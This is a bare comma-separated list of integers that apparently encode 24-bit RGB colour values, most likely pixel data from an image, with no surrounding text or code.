12107193, 12962248, 14803938, 14539740, 15197156, 14802144, 14604765, 14275800, 14408156, 14474462, 12566463, 12763842, 13487052, 13157573, 11381162, 11841200, 11116707, 10787742, 10195605, 10195605, 5392716, 458752, 589824, 1049090, 1114369, 1114112, 1311234, 1245184, 1179648, 1179649, 1245185, 1245185, 1376258, 1507329, 1638402, 2097925, 3019281, 3611418, 4400934, 4928307, 7626590, 9666432, 11311515, 11970476, 13221572, 14341082, 14605537, 14671588, 14934760, 16644863, 15788788, 11840695, 11709622, 11184050, 11250100, 10328998, 10460327, 10262176, 9998491, 9538453, 9407121, 9407121, 9407121, 9078670, 9012877, 9012879, 8947086, 8881293, 8815500, 8749707, 8815500, 8815502, 8815502, 8749709, 8749966, 8947599, 7895168, 7895940, 9014421, 8817299, 7633795, 8094859, 9740197, 8950427, 9806506, 10991038, 10201522, 9873327, 7570572, 4215642, 795433, 4086878, 4547940, 6322809, 1978931, 3490630, 6976630, 6779250, 5529183, 4016455, 3556674, 3556674, 2503986, 2042667, 3883845, 2633008, 2303016, 2565675, 2237223, 132617, 260, 265484, 1120793, 3949122, 461580, 789775, 2039585, 394760, 1907999, 4605769, 4540746, 4080708, 3226941, 2110517, 1980219, 1916737, 1326399, 2973282, 6395546, 10343639, 8961473, 10210255, 9681086, 10006453, 7701128, 6251115, 6776430, 5986912, 5790045, 5462878, 5134426, 5199706, 5133913, 5067352, 5198938, 5461599, 5330013, 5460829, 5460829, 5395036, 5329243, 5263450, 5263450, 5132634, 5132634, 5263189, 5131603, 5131603, 5131603, 5065810, 5065810, 4802638, 4407880, 4605259, 4473673, 4407880, 4276294, 4341574, 4275781, 4209988, 4144195, 4406853, 4406853, 4406853, 4472646, 4210243, 4144450, 4012862, 4868171, 4604483, 4472895, 3748912, 4274740, 4668983, 5326911, 6181962, 7234134, 7957342, 8023389, 8614755, 9009765, 8286294, 6575675, 9338979, 10787193, 10853240, 12695957, 13222301, 13485472, 13484959, 13156248, 14010787, 14602409, 13482901, 14338980, 12563087, 8418899, 7102787, 6444859, 5062951, 4668197, 4207652, 4011306, 4999490, 6184794, 7829878, 8816773, 8816260, 8815233, 9734541, 9337729, 11441561, 11045005, 8805729, 7423047, 7752267, 6305335, 6765887, 6172980, 8606294, 9394784, 6894136, 6959929, 8343122, 9593188, 7881030, 6560546, 9185332, 12997472, 9379111, 7865872, 8786209, 8590115, 8724269, 7410465, 6163221, 5507858, 5971234, 6301999, 5776171, 4200480, 3218976, 3946549, 4342077, 8487295, 12698560, 11974837, 12632769, 13817043, 14342361, 14999777, 14933730, 14867937, 14538972, 14605535, 15132392, 14342876, 14408669, 13619151, 13289673, 13552845, 13223366, 10393754, 9735824, 10130582, 9998996, 4603970, 589825, 721154, 983811, 1049090, 851968, 1114112, 1245184, 1245184, 1245185, 1310721, 1441793, 1572865, 1835010, 1900545, 2426118, 3215634, 2820876, 3018768, 2690062, 4994100, 7757922, 11574687, 12167855, 12958913, 13816021, 14343135, 14737894, 15066859, 16382207, 14342112, 11314864, 12105150, 11776444, 11447992, 10724269, 10592683, 10394532, 10197153, 9933465, 9736086, 9736086, 9801879, 9539221, 9473428, 9473430, 9407637, 9341844, 9210258, 9144465, 9210260, 9276053, 9210260, 9210260, 9144724, 9211028, 8093317, 8027526, 8948885, 9015448, 8555410, 9345953, 11122877, 10728635, 11847629, 13098724, 13493995, 13954546, 12376030, 9415858, 2573899, 4548457, 7574934, 7047050, 3952980, 4346196, 7766146, 7963012, 5002326, 3752770, 4015942, 4213834, 3555904, 3489600, 4147017, 2304043, 2501165, 2895153, 2237223, 198667, 1544, 1541, 68362, 3555391, 660242, 725265, 3290679, 527373, 658959, 3817023, 3751743, 3357755, 4016457, 4675931, 3296849, 2576207, 2907230, 3896180, 6331036, 10606813, 10211026, 11064795, 12180706, 12440794, 10201262, 6843250, 6447463, 6579048, 6053987, 5923429, 5660770, 5594464, 5462878, 5462110, 5527903, 5658978, 5658978, 5724001, 5658208, 5658208, 5592415, 5526622, 5526622, 5395806, 5395806, 3355192, 3157813, 3223606, 3289399, 3157813, 3157813, 3026227, 2565676, 2631469, 2499883, 2368297, 2236711, 2301991, 2301991, 2236198, 2170405, 2564648, 2498342, 2564648, 2564648, 1840925, 1577753, 1446935, 1907486, 1381140, 2170140, 2828068, 5262151, 6380632, 7432804, 7827047, 7827045, 8024166, 8418922, 10786954, 10260863, 11839380, 10524285, 13682349, 13354152, 12893601, 12169878, 12038292, 10656641, 9274218, 8089944, 6839364, 5391916, 5522728, 5983277, 4800032, 3945238, 4471329, 6115900, 6115649, 6510411, 6248015, 5985875, 6907754, 7698042, 8619144, 8684678, 8355198, 7695469, 10193036, 10848911, 10584454, 8740451, 9002851, 7686219, 6765372, 7226437, 8147539, 6041649, 7421507, 6499378, 9196377, 7946823, 5185057, 7487812, 7487040, 7284780, 8592680, 9641257, 7798793, 8259858, 9049635, 8195868, 8066596, 6161938, 6164761, 6364709, 6565685, 5975090, 4988456, 3412762, 3022369, 4603968, 7433580, 10460574, 11974326, 12105912, 12632256, 13223880, 13683663, 14209750, 14341336, 14209750, 13880785, 14012628, 14473181, 14210777, 14606048, 13355981, 13223882, 13816019, 14144214, 11183529, 11380651, 11314858, 7827827, 1906457, 393216, 655361, 852225, 983297, 1048576, 1048576, 1179648, 1245184, 1310722, 1507330, 1703939, 1966084, 2293766, 2425093, 4003353, 4793637, 3675156, 3610646, 2492424, 3150867, 5454651, 11574429, 12694967, 13157573, 13816789, 14344416, 15067885, 15725815, 15264752, 12632518, 10855596, 12040127, 11711932, 11317174, 10857136, 10396585, 10461095, 10066080, 9802393, 9605269, 9670807, 9736600, 9605016, 9539223, 9539482, 9407896, 9539482, 9407896, 9407639, 9473178, 9538971, 9473178, 9473432, 9407896, 9211030, 9080214, 8948885, 8686483, 8555923, 8753816, 9084064, 9348006, 9940915, 10599872, 10666436, 10601413, 11457751, 12050147, 11326937, 7247258, 2575696, 6521993, 3625815, 4347740, 2635580, 6121321, 5988452, 2961973, 2370090, 3159604, 3686720, 3357755, 3357501, 2435629, 1119512, 1645856, 2632751, 1777442, 528402, 1121052, 661014, 463635, 2700595, 726805, 726292, 1581344, 659472, 1185303, 1645856, 1448477, 1382941, 1252126, 1648172, 3032650, 4681583, 6789787, 5212555, 7712691, 11724781, 9552070, 10602961, 10534598, 11453129, 11121850, 6777457, 5986912, 6908526, 6448745, 6318187, 6187114, 6054761, 5923175, 6054247, 5988454, 5856357, 5856357, 5921380, 5855587, 5855587, 5789794, 5789794, 5724001, 5724001, 5789794, 2960434, 2828848, 2894641, 2960434, 2763055, 2828848, 2763055, 2434090, 2434090, 2368297, 2170918, 2039332, 2038819, 1973026, 1907233, 1907233, 2103584, 2169377, 2367269, 2301476, 1380374, 1380374, 1183763, 986384, 525833, 1052175, 1380624, 3617584, 4407100, 5525323, 5722702, 5327428, 5393219, 5393217, 7366749, 7235415, 9142897, 8682601, 9735546, 9077616, 8617065, 7564890, 7301719, 6380617, 4998453, 4340523, 3024150, 1839104, 2299395, 2562821, 3221008, 5261363, 6314053, 7169109, 7234651, 8287346, 8288378, 8025982, 8289926, 8618893, 8487305, 8355202, 9998998, 8483445, 10783631, 11900314, 8806244, 7094854, 9265251, 8936286, 7686988, 7818574, 7686988, 6764859, 9329504, 4591381, 10315371, 9921383, 6369331, 7817545, 8343373, 8404543, 7869211, 8917018, 8653845, 8917017, 8720668, 7472659, 7804706, 5571084, 5968924, 5972006, 5843504, 5055789, 4398376, 3545122, 3089191, 5196107, 10394267, 13486538, 12894915, 13881810, 13684431, 13223366, 13946578, 14538715, 14669531, 14208980, 13814992, 14078164, 14078423, 13749458, 14145497, 13421774, 13223882, 12894147, 14012628, 12170167, 13091269, 11578028, 6577760, 327680, 458752, 918533, 852225, 917504, 1245955, 1048576, 1180162, 1311234, 1507588, 1704196, 2097414, 2491143, 2819081, 3015945, 3344651, 4661024, 3608593, 4530465, 3610392, 3018768, 4862001, 12363945, 13484996, 14341847, 15066856, 15331311, 15529206, 15989757, 14014685, 11448244, 10592681, 11646139, 11317687, 11054515, 10594478, 10133413, 10264486, 9606040, 9408147, 9276561, 9407635, 9408148, 9276051, 9144978, 9210517, 9144724, 9078931, 9013140, 9012627, 9078420, 9078420, 9078420, 9012881, 8947345, 8751249, 9014678, 8686483, 8029066, 8226958, 9149087, 9808044, 9743534, 9612977, 9613747, 8562087, 7575962, 8761010, 9946054, 9288381, 9090745, 1588547, 4021861, 796462, 3031880, 1319207, 3357502, 3685184, 1381912, 987154, 1974817, 2632749, 2237991, 2303786, 461582, 329996, 1185305, 2040614, 1514527, 989466, 1516323, 135184, 2826, 1714470, 1714470, 4345420, 6450283, 6713198, 6580842, 6646124, 7105905, 5197908, 3093560, 2042416, 1980219, 4287084, 9290691, 6923686, 9160394, 13039871, 8893626, 10075846, 11981787, 11913423, 9740197, 6974836, 7105906, 6645354, 6777967, 6581359, 6516079, 6317933, 6186347, 6449005, 6251626, 5987943, 5987943, 6052966, 5987173, 5987173, 5921380, 5855587, 5855587, 5855587, 5855587, 3881536, 3749950, 3815743, 3947329, 3815743, 3552571, 3618364, 3881536, 3618364, 3486778, 3289399, 3092020, 3091507, 2959921, 2894128, 2828335, 3024686, 3156272, 3090992, 3222578, 2893613, 3288371, 1907488, 1841693, 1117970, 1446933, 1710105, 1776152, 1973531, 2433312, 2564898, 2499103, 2236186, 2630942, 2499097, 3091231, 4735540, 4143403, 3288094, 2828313, 2696473, 2630680, 2631194, 2696733, 2564636, 2235671, 2103571, 2103058, 2234383, 3023898, 5195578, 8616814, 9208953, 8879737, 8550521, 9340044, 9604248, 9868449, 9606305, 9277339, 8815759, 8814471, 11181476, 10060937, 11900314, 12424346, 5580847, 6698813, 8804443, 10055022, 8739676, 7358023, 6305336, 7356997, 10579571, 3999758, 9723749, 10776950, 9001821, 8475988, 9594467, 8800584, 7080976, 8655128, 9246236, 9773094, 8458007, 7407890, 7016473, 5440268, 5378327, 5052959, 4266527, 3347482, 3413023, 3283749, 3089450, 6117468, 11117736, 14275800, 14078421, 15525867, 14802144, 14473179, 14933473, 14999266, 15195621, 14735070, 14012117, 14077910, 13946324, 13223114, 13421261, 14013398, 13552847, 11973045, 12433339, 14011601, 14340564, 9932433, 4142649, 393216, 655361, 852738, 1049090, 1048577, 1180162, 1180162, 1311748, 1508613, 1770759, 2032904, 2557708, 3083023, 3607571, 3936020, 3475210, 2949378, 3213064, 5385259, 4991529, 2952462, 5584954, 13087155, 14076620, 15197156, 15132392, 15265005, 15001835, 14541284, 11777209, 10856107, 10790060, 10988209, 10199204, 10463146, 10199204, 9343895, 9408661, 9211281, 8684424, 8619144, 8684425, 8619145, 8487048, 8158340, 8355721, 8224137, 8092038, 8092039, 8092039, 8157832, 8223624, 8157831, 8157831, 8092551, 7764613, 7765383, 7568002, 7305343, 7766407, 8688536, 9742251, 10401464, 9612207, 8955560, 7443349, 6456711, 6918293, 7116185, 7445152, 9484222, 2442831, 2639181, 400677, 1188650, 726043, 659219, 1184536, 657932, 526346, 526344, 1579032, 526603, 658191, 921363, 592399, 1513501, 1514527, 1318431, 858393, 858907, 2312, 333846, 1648936, 5135965, 10924722, 14213859, 14739690, 14738663, 14803687, 14605795, 12170941, 7698559, 5003615, 2507846, 4090988, 9620939, 8240058, 10213336, 13105918, 10010824, 8627373, 14020341, 12834012, 7700101, 6514285, 8619145, 6250596, 6843760, 6515566, 6449773, 6449005, 6317419, 6316906, 6185320, 6119529, 6053736, 6184552, 6184552, 6118759, 5987173, 5921380, 5987173, 5987171, 5921378, 6579049, 6447463, 6381670, 6513256, 6381670, 6250084, 6381670, 6644842, 6644842, 6381670, 6052705, 5789533, 5789020, 5920606, 6117985, 6315364, 6512228, 6577508, 6643814, 6709607, 6314849, 6512228, 5328724, 5591896, 5723480, 6249824, 6710373, 6447201, 5723478, 5394513, 5789271, 6447201, 6447455, 6184281, 6315866, 6512729, 6249555, 6907739, 5788745, 6512981, 6841692, 6710878, 7631726, 8881794, 8816001, 7959922, 7762545, 8617595, 9669513, 8616311, 9472387, 10591382, 9078145, 9735822, 10984869, 10656423, 9933730, 9671330, 9540512, 10197927, 10920106, 10458268, 9600901, 12032671, 13543086, 9002081, 3409676, 6107187, 6568507, 8477017, 5057064, 4925478, 5516590, 5779505, 6501945, 6370359, 5580843, 4857890, 6700607, 6832190, 9135199, 6104611, 7082516, 7801359, 8326674, 8064272, 8261911, 8001054, 6294290, 4325377, 4591121, 3804432, 2163461, 1901578, 2231061, 2429982, 1971228, 2039072, 3749692, 5065550, 8552579, 12433596, 15657453, 15131109, 15854832, 16446712, 16249079, 15525356, 15196904, 13815251, 14736353, 13552079, 13354698, 13815249, 14407129, 11775409, 10853537, 13419462, 11445159, 3682096, 1576463, 589824, 1050117, 852225, 720896, 1179648, 1508613, 1245441, 1442820, 1705477, 2296076, 2886671, 3345425, 3673618, 4264472, 4790300, 3540232, 2883584, 2686976, 5582638, 5584436, 2032386, 5323065, 11969700, 10261139, 9999509, 9539474, 9079436, 8881803, 6908013, 9407635, 10328737, 11447733, 9803419, 8883344, 9936032, 9212309, 8816523, 8684167, 8420993, 7895419, 7500661, 7698042, 7763836, 6974066, 7039859, 7039863, 7039863, 6973558, 6973558, 6973558, 6973558, 6973557, 6973557, 6973557, 6842484, 6777718, 6449523, 7107964, 7765894, 5924203, 3029825, 2833729, 4939362, 6584700, 6782851, 8099738, 9679028, 9021613, 8035234, 7969443, 7376536, 7046799, 6453379, 4676193, 1648174, 3357250, 1645601, 1776159, 2631209, 2236449, 2433828, 2302242, 1579034, 328713, 3420984, 3618364, 2960947, 1448734, 1318431, 200463, 135184, 728604, 5071199, 9742502, 12505808, 14150376, 15662845, 15464953, 15596025, 15792379, 16054781, 15462644, 13818848, 12242898, 11128269, 8303280, 7253161, 5740951, 4292478, 9684682, 12642799, 6323846, 11979475, 8885404, 5988970, 6316136, 7368565, 6184803, 6317159, 6383210, 6251624, 6120040, 5988454, 5987941, 5987941, 5987943, 6053736, 6184552, 6184552, 6118759, 5987173, 5987173, 5987173, 5987171, 5921378, 7631737, 7434358, 7302772, 7302772, 7302772, 7236979, 7434358, 7697530, 7697530, 7565944, 7434358, 7302772, 7302259, 7433845, 7631224, 7828603, 7696502, 7696502, 7828088, 7959674, 7434100, 7499893, 6907756, 7368307, 7829369, 8092541, 8487299, 8553092, 8026748, 7631990, 7960955, 8684678, 8750471, 8224125, 8882053, 8947587, 7894898, 8881793, 8157554, 8947840, 8816000, 9079686, 10000788, 10856097, 10658718, 10066068, 10131861, 10854816, 11446440, 10788510, 10789021, 10986400, 9670542, 10328220, 11116972, 10788524, 10065829, 9539742, 9672351, 10131871, 11248295, 11772838, 9862271, 13018023, 12687518, 6831682, 2490368, 5713969, 5846837, 5650741, 2888463, 3546393, 3939870, 3939357, 3149841, 5452596, 2558217, 2097664, 4334626, 4005403, 5847859, 5251355, 6032395, 7541010, 7605518, 6947588, 7408656, 7345177, 5507084, 4129028, 4461588, 2886153, 1245184, 851968, 1838102, 4076092, 4604746, 3815742, 2894641, 1907745, 4276293, 7170928, 9671062, 11052715, 13881812, 14276570, 15460844, 16250360, 15658223, 14934500, 14013911, 14473949, 13354698, 14670301, 14011599, 12563640, 12563640, 9997713, 7299943, 1510670, 524288, 852225, 1115397, 1443847, 1311748, 1574406, 1705479, 1639427, 1901316, 2295045, 3083023, 3673875, 3935507, 4000273, 4328725, 4855067, 4000526, 3080451, 3213577, 3413266, 3743772, 1639938, 4404273, 7957869, 7695469, 8946308, 7696500, 6051675, 6248543, 7959161, 11379628, 10393503, 10526116, 9737113, 8882831, 9278101, 8619144, 8157821, 7893622, 7301485, 7039853, 6580329, 7238261, 6777455, 6513515, 6579308, 6250347, 6381933, 6315628, 6315628, 6249835, 6184042, 6184041, 6118248, 6052453, 5921380, 5593444, 5462628, 6449521, 7041658, 4673621, 1055006, 266003, 1911598, 3819595, 4280405, 5727853, 7044228, 6386557, 5597041, 5860215, 5597043, 6715522, 5925747, 5398376, 2634040, 4146250, 2960947, 2631211, 3617334, 3354416, 3551795, 4012092, 3749690, 2499625, 4276036, 4604746, 3026740, 2764594, 1844775, 661014, 2635318, 4347219, 7242881, 11059645, 12244432, 12244177, 12638935, 12573142, 13230815, 13625319, 13953514, 13690342, 13231074, 12114649, 12972783, 10476246, 8043958, 5939098, 3174765, 7381926, 11984354, 7968412, 11518665, 8424337, 6251626, 6382183, 6776428, 5855326, 6645355, 6251111, 6185318, 6053732, 5987939, 6052964, 6118757, 6184550, 6184550, 6184550, 6184550, 6250086, 6118500, 6118500, 6184293, 6184293, 6184293, 7894909, 7631737, 7368565, 7302772, 7368565, 7434358, 7697530, 7894909, 7829116, 7894909, 7960702, 7960702, 7960189, 7960189, 7894396, 7894396, 8157053, 8222846, 8288639, 8420225, 8157823, 8355202, 8092030, 8618374, 8816264, 8684678, 8816264, 9276815, 9605526, 9539733, 9473940, 9605526, 9474453, 9277074, 9934745, 10132122, 9868691, 9934482, 10066068, 10000275, 9737362, 10066327, 10198426, 10001047, 9934741, 10066581, 10197654, 10131863, 10460576, 10789541, 10394781, 10394781, 10525853, 10657187, 10525350, 10920624, 9934243, 9408411, 10790314, 9013128, 10392210, 12626858, 11241866, 13147808, 8080979, 5778224, 2884613, 4267806, 5914940, 1837057, 1376768, 3153177, 1770241, 1967622, 1572864, 1837063, 917504, 1245440, 1968390, 2099204, 2361602, 4331280, 4456448, 7017233, 6884875, 6555140, 6752009, 6359822, 5113866, 3538944, 3345161, 2098177, 917504, 1313037, 3879226, 7169905, 9934494, 9013903, 6184804, 3684670, 2236711, 2368296, 2828590, 3815485, 8947337, 10263710, 12632258, 14606048, 14935013, 15461614, 13224652, 15263978, 14078164, 15064289, 13418949, 12958398, 15392482, 4339256, 1312778, 786432, 983811, 1247238, 1443847, 1904398, 2166543, 1969162, 1902599, 2033413, 2229252, 2622470, 3344653, 4132886, 4459541, 4130317, 4195340, 4393488, 3802634, 2686976, 3478032, 2427141, 2495247, 2102545, 3879728, 4604479, 6248795, 10130582, 7893622, 3418928, 5523793, 14207956, 14405336, 10326940, 9801879, 10000798, 9212308, 8554632, 7763833, 7105133, 7563374, 6510684, 6842472, 6382948, 7238259, 5856608, 6382183, 6316136, 5921380, 6184041, 6052455, 6052455, 5920870, 5789283, 5722977, 5526109, 5394523, 5197657, 5066587, 5198686, 5264477, 4738133, 3356734, 1580323, 593428, 528149, 593942, 791321, 1251874, 1120803, 1317927, 1252649, 1580847, 2963267, 3029058, 2963264, 2897214, 3290687, 3093047, 3486777, 3157553, 3288369, 3946553, 4012346, 4801608, 4933194, 4736587, 3683899, 3881023, 3092019, 4343369, 1975848, 1647396, 6780277, 9215901, 8558741, 8560024, 8100500, 8363930, 8562079, 8759971, 9417901, 10207163, 11128265, 10799043, 10142142, 9024433, 10276810, 11726311, 11662060, 8043958, 5344905, 6197391, 8497066, 11651791, 13623013, 11384507, 6974836, 5526874, 6579049, 5723740, 6184291, 6250597, 6119525, 6250597, 6184804, 6184550, 6184550, 6184550, 6184550, 6118757, 6184550, 6250086, 6184293, 6250086, 6381672, 6447465, 6381672, 8684425, 8355460, 8092288, 7960702, 8026495, 8289667, 8487046, 8618632, 8618632, 8618632, 8552839, 8552839, 8618119, 8552326, 8420740, 8354947, 8289154, 8486533, 8486788, 8486788, 8684167, 9078925, 9078923, 9276302, 9342354, 9342354, 9408147, 9539733, 9671320, 9605527, 9539734, 9473941, 9540247, 9606039, 9737112, 9803159, 10197404, 9605265, 10197402, 9802898, 9868950, 9868950, 9869463, 9935256, 10001047, 10001047, 10066581, 10000534, 10066331, 10197663, 9934743, 10065816, 10328220, 10328223, 10262178, 10460073, 10197414, 9605529, 10921638, 10657177, 10588297, 11506318, 14463921, 11961479, 4461335, 8014927, 3805972, 2755594, 2561037, 2825492, 655360, 1640965, 2231821, 1573893, 1245955, 720896, 984836, 721920, 1378052, 2955798, 2887692, 3081216, 5180938, 6690579, 7610140, 7674650, 7805724, 7215388, 5509651, 3342592, 2623234, 1836802, 1444617, 3748661, 7828089, 9473689, 9737374, 10132900, 9671579, 9408661, 7434358, 5920606, 6644584, 3881278, 2302757, 3487031, 3881789, 5000527, 8093052, 10922151, 12829894, 14408669, 14538713, 14997981, 14997724, 13681864, 8746617, 1969938, 851969, 1312262, 1443848, 1641226, 2101777, 1904396, 1903369, 1969162, 2099978, 2098693, 2294532, 2753027, 3475210, 4329236, 4984856, 4721427, 4589328, 4524560, 4591380, 3146755, 2622980, 2888975, 5852230, 7828076, 9671822, 9474701, 9144714, 7367535, 4209214, 2431520, 6312796, 15786218, 11246502, 11773873, 10526116, 9935519, 10200486, 9147796, 8356740, 7565682, 8747389, 7892078, 8552831, 7304304, 8027259, 7040110, 7039599, 7039600, 6973809, 7104884, 7039091, 6973298, 6841458, 6644333, 6577768, 6315366, 6183780, 5921121, 5855587, 5724003, 5395036, 5131864, 4934483, 4408139, 3816256, 3618877, 3224119, 3026486, 3223867, 2566453, 1776938, 1119521, 855838, 1251107, 987934, 1251358, 856087, 1250843, 1316122, 1512987, 1381142, 1381142, 1446935, 1710107, 1644314, 1907486, 2170660, 1446937, 1314581, 1117972, 1842465, 593679, 3028536, 9082518, 10004647, 8756120, 8494231, 8627357, 8496799, 8432033, 8432548, 8301476, 8564650, 9486265, 9551545, 9354425, 9684160, 7842982, 8699319, 10476244, 10608343, 9027771, 6919572, 4811628, 9676458, 15003635, 14541544, 7632250, 4276807, 5460568, 6250086, 6250086, 6052705, 5987425, 6052705, 6052705, 6052705, 6052705, 6118500, 6118500, 6118500, 6118500, 6118498, 6118498, 6184291, 6315877, 6381670, 6381670, 9342355, 9079183, 8750218, 8618632, 8750218, 8947597, 9079183, 9079183, 9079183, 9013390, 9013390, 9013390, 9012877, 8947084, 8815498, 8683912, 8815498, 8947084, 8881546, 8881546, 9144718, 9539476, 9539474, 9539474, 9671319, 9868698, 9868698, 9605526, 9408148, 9473941, 9539734, 9474454, 9474454, 9671833, 9868698, 9737112, 10000025, 9802646, 9868439, 9934232, 9934234, 9934491, 10066077, 10132383, 10198174, 10198428, 10263708, 10263708, 9802905, 10000285, 10066331, 10066331, 10394015, 10459809, 10262178, 10064801, 10460327, 10460323, 10987170, 11445662, 11640212, 11373188, 13672093, 11302007, 4130316, 8605781, 6305336, 4597541, 2100486, 2759957, 1509892, 1640197, 2099724, 1310721, 2496536, 393216, 1446415, 393472, 1313031, 3021080, 3413267, 3409668, 6036249, 6296078, 8071204, 8003615, 7871003, 6754580, 4851207, 3539971, 2491648, 1507840, 2036499, 4801349, 7959421, 7894657, 6842482, 7237240, 8092549, 8947599, 8157568, 6841194, 6972779, 4012864, 1315349, 1184276, 1447448, 1842463, 3224370, 5856090, 9671830, 9342606, 11774637, 10918815, 12168625, 11379107, 4799037, 1049090, 851968, 1246468, 1575433, 1575431, 1970189, 1838603, 1903369, 1969162, 2165769, 2099206, 2360836, 2622468, 3147272, 4131857, 4919833, 5313563, 5247257, 5050391, 4591378, 3212035, 2359552, 4006944, 8286571, 9275522, 8158583, 8158843, 6710886, 4736585, 2827818, 3879479, 7496300, 11509673, 8877954, 11511214, 10987180, 9344664, 9214618, 7635840, 9147537, 9408140, 9734282, 8878971, 9144966, 7501681, 7961464, 8948361, 7500404, 7829115, 7960189, 7828605, 7697019, 7827835, 7762044, 7498870, 7367538, 7301744, 7104365, 6841708, 6775919, 6249321, 5920610, 6183782, 6578538, 6315364, 6052192, 6183778, 5000017, 5000017, 5000019, 5000278, 4144971, 3092798, 2895421, 2105903, 2697264, 2499883, 2499883, 2105124, 2302503, 2236710, 1907999, 1907999, 1710107, 1644827, 1446935, 1249556, 1117972, 1381144, 1446167, 1578523, 1250326, 772, 2764594, 6779250, 6122347, 6058094, 6519928, 6521468, 6851974, 6853001, 7379860, 7840925, 7840927, 8564650, 9617340, 10735821, 10999250, 9486781, 9092281, 10605520, 11855587, 11197399, 9484214, 6323325, 10859703, 16120574, 14803687, 6973807, 4539979, 5724253, 5789535, 5854815, 5723740, 5723740, 5723740, 5723740, 5723740, 5789533, 5986914, 6118500, 5986914, 6052707, 5986912, 5986912, 5986912, 6118498, 6184291, 6184291, 9802906, 9605527, 9276562, 9144976, 9342355, 9539734, 9539734, 9408148, 9276562, 9342355, 9408148, 9473941, 9539221, 9407635, 9341842, 9276049, 9276562, 9408148, 9342354, 9342354, 9539733, 9539733, 9605780, 9671573, 9802905, 9868698, 9868698, 9605526, 9605527, 9802906, 9803165, 9803419, 9540247, 9606039, 10131870, 10197406, 10262429, 10262429, 10196637, 10131358, 10065567, 10066080, 10065826, 9934494, 9934492, 10066077, 10197406, 10066077, 9934492, 10132384, 10000284, 9802905, 10328223, 10393762, 10195874, 9933215, 10460327, 11250094, 10525591, 11839391, 12297113, 11964296, 10446696, 10641767, 6956848, 8076870, 10185068, 10846078, 5849405, 2890516, 4271658, 4599342, 3150615, 3216923, 5719112, 2365466, 3813682, 2300697, 3284769, 2229511, 2950406, 6104871, 6561310, 6163724, 7675163, 7542037, 6948105, 6424075, 5112583, 4196361, 2885125, 1835521, 2955804, 4076086, 4602951, 4340808, 2631219, 2104873, 2762546, 3353911, 4143681, 4208961, 3616823, 3156272, 2301474, 2236451, 2762793, 2171169, 1184274, 2105376, 3223857, 2762793, 4866372, 4536635, 5259588, 6378069, 1903888, 720896, 1311749, 1640713, 1575433, 1509638, 1180673, 1970443, 2232332, 1969160, 2165769, 2231560, 2296838, 2427141, 2688773, 3213064, 4394771, 5379869, 5576735, 5379354, 4920086, 2949120, 2359296, 5189935, 8876655, 7036250, 3024419, 2433312, 1711131, 2172198, 3354934, 6051164, 7891829, 6377820, 8615552, 10393503, 10725035, 10003620, 8295056, 6650485, 9872030, 10461598, 10458518, 9142656, 9210758, 8619647, 8619135, 10526878, 8749956, 8947337, 9012362, 8946570, 8814984, 8946057, 8814217, 8551299, 8419712, 8419966, 8222587, 8024954, 7958910, 7629947, 7432566, 7695738, 8156800, 8288640, 8157054, 8157823, 6908013, 7039600, 6842480, 6909045, 6646132, 6317168, 5988719, 5264479, 5460055, 5327954, 5526103, 5460308, 5131856, 5395028, 4934477, 4737355, 4473926, 3816253, 3684156, 2960433, 2960176, 3486520, 3223348, 3815742, 2763565, 790545, 1383195, 2041895, 595221, 596248, 1320998, 1782832, 2968134, 3429198, 4416352, 5601142, 5930109, 7048590, 9021611, 10469827, 11787226, 11985118, 11524054, 11655640, 11063503, 11589590, 12443100, 12506068, 14674411, 15790581, 12039610, 4999759, 4211014, 5855839, 4671054, 5657949, 5723227, 5723482, 5723227, 5723227, 5657947, 5723740, 5921119, 6052705, 5921119, 5921119, 5921119, 5855326, 5921119, 5986912, 6052704, 6052704, 9802906, 9605527, 9342355, 9210769, 9408148, 9539734, 9539734, 9276562, 9342355, 9408148, 9408148, 9342355, 9407635, 9539221, 9670807, 9736600, 9737113, 9802906, 9737112, 9802905, 9868698, 9605526, 9671573, 9868952, 9868698, 9934491, 9868698, 9802905, 9737113, 9868699, 9869212, 9869212, 10000797, 9868698, 10263456, 10263199, 10263199, 10065820, 10657188, 10131360, 10197153, 9933981, 9736861, 9934240, 10000287, 9934492, 10065565, 10197151, 10263457, 10000285, 10131871, 10263457, 10394532, 10525348, 10524839, 10195872, 10590882, 11774637, 10589842, 11508885, 13413284, 13804190, 6102816, 10968931, 12217976, 5706009, 11565436, 15911113, 13677745, 7034449, 10981261, 13282735, 9532024, 8940146, 10127243, 8681594, 9998224, 8484215, 9074296, 3939361, 2949123, 7486013, 6824484, 5834505, 6753291, 6948358, 6619136, 7672343, 6690075, 4195334, 2949378, 2426631, 3152412, 2890783, 1838872, 1576473, 1314330, 1183514, 1972258, 1314328, 2038305, 2038305, 2498342, 2235683, 2038304, 3617336, 2368037, 1841693, 4736585, 5921370, 4934475, 5065548, 4274233, 2892323, 1904915, 2496282, 1641227, 1311749, 1311748, 1443334, 1049088, 1707017, 720896, 1904396, 1969932, 1640967, 2034955, 2166539, 2101000, 2231815, 2295555, 2556930, 3672588, 4921115, 5512223, 5445660, 4459535, 4526868, 3015171, 3740949, 4466727, 3021337, 4075054, 4998210, 2631461, 3552822, 5789273, 4867401, 5064269, 11840178, 9867158, 7434611, 8949906, 10794161, 10401199, 9545375, 10464937, 9146508, 10327959, 9208708, 9868689, 10527389, 9671569, 10921636, 9737364, 9671058, 9539474, 9933462, 9736083, 9736083, 9669779, 9407118, 9209739, 9209993, 9012614, 8814981, 8749191, 8880010, 9010571, 9010571, 9142155, 9011080, 8748678, 8618374, 8355202, 7631736, 7960702, 7631996, 7172474, 7633797, 7370883, 6843509, 7039600, 7301742, 7170156, 6776168, 6776681, 6579302, 6447973, 6316387, 6053215, 5790043, 5395287, 5197395, 5394774, 6381412, 4407622, 4868430, 4408392, 2303784, 856597, 1544, 2056, 2570, 3083, 202260, 268824, 795168, 1189672, 1781811, 1584432, 2110776, 2966087, 3230029, 3889497, 4942698, 7244940, 9284523, 10337211, 10599870, 11190978, 12899540, 13620440, 11776695, 6578791, 2565418, 4211014, 7105906, 5723742, 5723742, 5723227, 5789275, 5854813, 5854813, 5723740, 5723740, 5855326, 5921119, 5855326, 5921119, 5921119, 5921119, 5921119, 6052705, 6118497, 6118497, 9868699, 9605527, 9408148, 9210769, 9210769, 9671320, 9671320, 9013390, 9210769, 9210769, 9342355, 9342355, 9144976, 9408148, 9802906, 9802906, 9802905, 9868698, 9934491, 9868698, 9934491, 10000284, 10000284, 9934491, 9934491, 10131870, 10131870, 9934491, 9868698, 10000284, 10131870, 10066077, 10131870, 10066077, 10263456, 10329249, 10263456, 10263456, 10394785, 10263457, 10263457, 9868699, 9868699, 10066078, 10000285, 10066077, 10197663, 10065820, 10459808, 10460578, 10066591, 